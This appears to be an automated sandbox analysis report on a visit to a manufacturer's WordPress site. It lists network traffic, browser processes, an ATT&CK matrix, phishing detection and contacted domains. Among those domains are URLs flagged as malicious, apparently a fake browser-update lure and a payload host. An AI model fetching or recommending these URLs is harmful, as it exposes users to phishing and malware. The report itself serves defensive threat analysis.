Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 50471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50400
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50255 version: TLS 1.2

Source: classification engine

Classification label: mal56.win@23/194@58/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2036,i,16356188163992017998,3218319905475874735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.twbcompany.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2036,i,16356188163992017998,3218319905475874735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://www.twbcompany.com	100%	SlashNext	Fraudulent Website type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://cct.google/taggy/agent.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	unknown
www.twbcompany.com	192.185.125.111	true	false	unknown
blacksaltys.com	77.232.36.155	true	false	unknown
code.jquery.com	151.101.194.137	true	false	unknown
virtual.urban-orthodontics.com	185.76.79.50	true	true	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
www.google.com	142.250.186.36	true	false	unknown
browserupdate.org	172.67.137.41	true	false	unknown
browser-update.org	104.26.13.241	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
c.6sc.co	unknown	unknown	false	unknown
b.6sc.co	unknown	unknown	false	unknown
j.6sc.co	unknown	unknown	false	unknown
ipv6.6sc.co	unknown	unknown	false	unknown
secure.leadforensics.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2020/11/commercial-truck-header.jpg	false	unknown
https://code.jquery.com/jquery-1.11.3.min.js?ver=1.11.3	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-headerless.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/twb-thumb.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Liftgate.jpg	false	unknown
https://browserupdate.org/update.min.js	false	unknown
https://www.twbcompany.com/commercial-transportation/	false	unknown
https://www.twbcompany.com/2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1	false	unknown
https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/style.css?ver=6.5.4	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png	false	unknown
https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=	true	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/generic-bg.jpg	false	unknown
https://www.twbcompany.com/services/product-design/	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2019/05/baosteeldark2.png	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twb-video-thumb.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/flags.png	false	unknown
https://www.twbcompany.com/	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg	false	unknown
https://www.twbcompany.com/2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4	false	unknown
https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_170.2.dr, chromecache_149.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/#website	chromecache_136.2.dr	false		unknown
https://www.worthingtonsteel.com	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twb-video-thumb.jpg);	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/es/products/aluminum-tailor-welded-blanks/	chromecache_131.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-swi	chromecache_136.2.dr	false		unknown
https://www.youtube.com/embed/7SQDZXqsaFM?autoplay=true	chromecache_131.2.dr	false		unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_176.2.dr, chromecache_221.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/twb-thumb.jpg);	chromecache_219.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png);	chromecache_219.2.dr	false		unknown
https://developer.mozilla.org/en-US/docs/Web/CSS/:-moz-focusring	chromecache_143.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Up	chromecache_131.2.dr	false		unknown
https://www.google.com	chromecache_149.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/product-design-hero.jpg)	chromecache_232.2.dr	false		unknown
https://www.twbcompany.com/2016/xmlrpc.php?rsd	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/?p=108	chromecache_136.2.dr	false		unknown
https://www.twbcompany.com/services/forming-analysis/#breadcrumb	chromecache_160.2.dr	false		unknown
https://www.twbcompany.com/?p=106	chromecache_160.2.dr	false		unknown
http://stackoverflow.com/questions/17553300/change-ie-background-color-on-unopened-focused-select-bo	chromecache_143.2.dr	false		unknown
https://www.twbcompany.com/?p=104	chromecache_232.2.dr	false		unknown
https://www.twbcompany.com/commercial-transportation/#breadcrumb	chromecache_198.2.dr	false		unknown
http://www.gnu.org/licenses/gpl-2.0.html	chromecache_135.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg)	chromecache_219.2.dr	false		unknown
https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/#primaryimage	chromecache_131.2.dr	false		unknown
http://browserhacks.com/#hack-758bff81c5c32351b02e10480b5ed48e	chromecache_143.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
https://stats.g.doubleclick.net/j/collect	chromecache_221.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/logistics-hero.jpg)	chromecache_136.2.dr	false		unknown
https://secure.leadforensics.com/js/131326.js	chromecache_198.2.dr, chromecache_219.2.dr, chromecache_232.2.dr, chromecache_131.2.dr, chromecache_160.2.dr, chromecache_136.2.dr	false		unknown
